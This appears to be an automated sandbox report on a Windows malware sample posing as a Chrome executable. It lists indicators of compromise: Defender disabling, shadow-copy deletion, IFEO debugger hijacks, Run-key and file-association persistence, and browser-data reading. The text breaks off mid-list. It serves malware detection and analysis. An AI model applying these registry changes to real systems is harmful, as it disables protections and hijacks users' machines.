Analysis
- max time kernel
150s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
10/05/2026, 04:39
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
verpeliculas.io_chrome.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
44 signatures
150 seconds
Behavioral task
behavioral2
Sample
verpeliculas.io_chrome.exe
Resource
win11-20260130-en
windows11-21h2-x64
43 signatures
150 seconds
General
- Target verpeliculas.io_chrome.exe
- Size 50KB
- Sample260510-e91zhaby7k
- SHA256 95d9e6b524f461afe11bd411f5f03f5d51d2948fbcdd7c71bb9f367c5d528929
- MD5 5079698f8fc3003e2bac6051bbe0950a
- SHA1 2e9f9b4d06e09b78f31c0569679d1963f6ca0293
- SHA512 2cae2fa8bc898313fc1c6eb9af28b9e5c8aef26ec06dd74e5f59c693e133dda7e71d7ee9efdf83b456b5b57fd5f1b5e0e4d6a2e72cd1479c5cf728af0d00b12b
- SSDEEP 768:vddhlhJSVuF2FDpIBB6mIGhuFI/W/Rgr44C1XXGblfpp7KFc5xi:1dJFFwNE6TGhoiWGr44EXGblfL7ucu
- TLSH T1C033F65477F98511F1BF8BBA4DB192019B30B8A79C22D78E0AD1058E1AB3740CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4316-0-0x0000000000D90000-0x0000000000DA2000-memory.dmp disable_win_def behavioral1/files/0x0008000000024595-2470.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" verpeliculas.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" verpeliculas.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5400 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" verpeliculas.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts verpeliculas.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe verpeliculas.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe verpeliculas.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe verpeliculas.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1612 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\International\Geo\Nation verpeliculas.io_chrome.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf verpeliculas.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf verpeliculas.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf verpeliculas.io_chrome.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe verpeliculas.io_chrome.exe File created C:\Windows\system32\sysupdate.exe verpeliculas.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe verpeliculas.io_chrome.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1720 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" verpeliculas.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" verpeliculas.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1852 sc.exe 4664 sc.exe 5880 sc.exe 2128 sc.exe 5488 sc.exe 3980 sc.exe 3432 sc.exe 1996 sc.exe 3336 sc.exe 3068 sc.exe 3920 sc.exe 2880 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1216 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3788 ipconfig.exe 976 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4132 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 6028 vssadmin.exe 872 vssadmin.exe 920 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000\Control Panel\Desktop\WallpaperStyle = "2" verpeliculas.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134228615947102604" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings verpeliculas.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell verpeliculas.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command verpeliculas.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings verpeliculas.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\.pdf\ = "PDFBotnet" verpeliculas.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open verpeliculas.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe\" \"%1\"" verpeliculas.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command verpeliculas.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet verpeliculas.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command verpeliculas.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\verpeliculas.io_chrome.exe" verpeliculas.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell verpeliculas.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open verpeliculas.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open\command\DelegateExecute verpeliculas.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell\open verpeliculas.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-643422742-1162610606-620613169-1000_Classes\ms-settings\shell verpeliculas.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3468 schtasks.exe 4048 schtasks.exe 5636 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5400 powershell.exe 5400 powershell.exe 4464 chrome.exe 4464 chrome.exe 5400 powershell.exe 5400 powershell.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe 4316 verpeliculas.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4316 verpeliculas.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5400 powershell.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeIncreaseQuotaPrivilege 3240 WMIC.exe Token: SeSecurityPrivilege 3240 WMIC.exe Token: SeTakeOwnershipPrivilege 3240 WMIC.exe Token: SeLoadDriverPrivilege 3240 WMIC.exe Token: SeSystemProfilePrivilege 3240 WMIC.exe Token: SeSystemtimePrivilege 3240 WMIC.exe Token: SeProfSingleProcessPrivilege 3240 WMIC.exe Token: SeIncBasePriorityPrivilege 3240 WMIC.exe Token: SeCreatePagefilePrivilege 3240 WMIC.exe Token: SeBackupPrivilege 3240 WMIC.exe Token: SeRestorePrivilege 3240 WMIC.exe Token: SeShutdownPrivilege 3240 WMIC.exe Token: SeDebugPrivilege 3240 WMIC.exe Token: SeSystemEnvironmentPrivilege 3240 WMIC.exe Token: SeRemoteShutdownPrivilege 3240 WMIC.exe Token: SeUndockPrivilege 3240 WMIC.exe Token: SeManageVolumePrivilege 3240 WMIC.exe Token: 33 3240 WMIC.exe Token: 34 3240 WMIC.exe Token: 35 3240 WMIC.exe Token: 36 3240 WMIC.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeBackupPrivilege 4584 vssvc.exe Token: SeRestorePrivilege 4584 vssvc.exe Token: SeAuditPrivilege 4584 vssvc.exe Token: SeIncreaseQuotaPrivilege 3240 WMIC.exe Token: SeSecurityPrivilege 3240 WMIC.exe Token: SeTakeOwnershipPrivilege 3240 WMIC.exe Token: SeLoadDriverPrivilege 3240 WMIC.exe Token: SeSystemProfilePrivilege 3240 WMIC.exe Token: SeSystemtimePrivilege 3240 WMIC.exe Token: SeProfSingleProcessPrivilege 3240 WMIC.exe Token: SeIncBasePriorityPrivilege 3240 WMIC.exe Token: SeCreatePagefilePrivilege 3240 WMIC.exe Token: SeBackupPrivilege 3240 WMIC.exe Token: SeRestorePrivilege 3240 WMIC.exe Token: SeShutdownPrivilege 3240 WMIC.exe Token: SeDebugPrivilege 3240 WMIC.exe Token: SeSystemEnvironmentPrivilege 3240 WMIC.exe Token: SeRemoteShutdownPrivilege 3240 WMIC.exe Token: SeUndockPrivilege 3240 WMIC.exe Token: SeManageVolumePrivilege 3240 WMIC.exe Token: 33 3240 WMIC.exe Token: 34 3240 WMIC.exe Token: 35 3240 WMIC.exe Token: 36 3240 WMIC.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe Token: SeShutdownPrivilege 4464 chrome.exe Token: SeCreatePagefilePrivilege 4464 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe 4464 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4316 verpeliculas.io_chrome.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4316 wrote to memory of 4464 4316 verpeliculas.io_chrome.exe 85 PID 4464 wrote to memory of 4500 4464 chrome.exe 86 PID 4316 wrote to memory of 5400 4316 verpeliculas.io_chrome.exe 87 PID 4316 wrote to memory of 1852 4316 verpeliculas.io_chrome.exe 89 PID 4316 wrote to memory of 1996 4316 verpeliculas.io_chrome.exe 91 PID 4316 wrote to memory of 4664 4316 verpeliculas.io_chrome.exe 93 PID 4316 wrote to memory of 3336 4316 verpeliculas.io_chrome.exe 95 PID 4316 wrote to memory of 5880 4316 verpeliculas.io_chrome.exe 97 PID 4316 wrote to memory of 2128 4316 verpeliculas.io_chrome.exe 99 PID 4316 wrote to memory of 3068 4316 verpeliculas.io_chrome.exe 145 PID 4316 wrote to memory of 3920 4316 verpeliculas.io_chrome.exe 148 PID 4316 wrote to memory of 5964 4316 verpeliculas.io_chrome.exe 105 PID 4316 wrote to memory of 5488 4316 verpeliculas.io_chrome.exe 106 PID 4316 wrote to memory of 3980 4316 verpeliculas.io_chrome.exe 108 PID 4464 wrote to memory of 4800 4464 chrome.exe 110 PID 4464 wrote to memory of 4800 4464 chrome.exe 110 PID 4464 wrote to memory of 1216 4464 chrome.exe 111 PID 4316 wrote to memory of 6028 4316 verpeliculas.io_chrome.exe 112 PID 4464 wrote to memory of 4828 4464 chrome.exe 113 PID 4464 wrote to memory of 4828 4464 chrome.exe 113 PID 4464 wrote to memory of 5944 4464 chrome.exe 116 PID 4464 wrote to memory of 564 4464 chrome.exe 117 PID 4464 wrote to memory of 564 4464 chrome.exe 117 PID 4464 wrote to memory 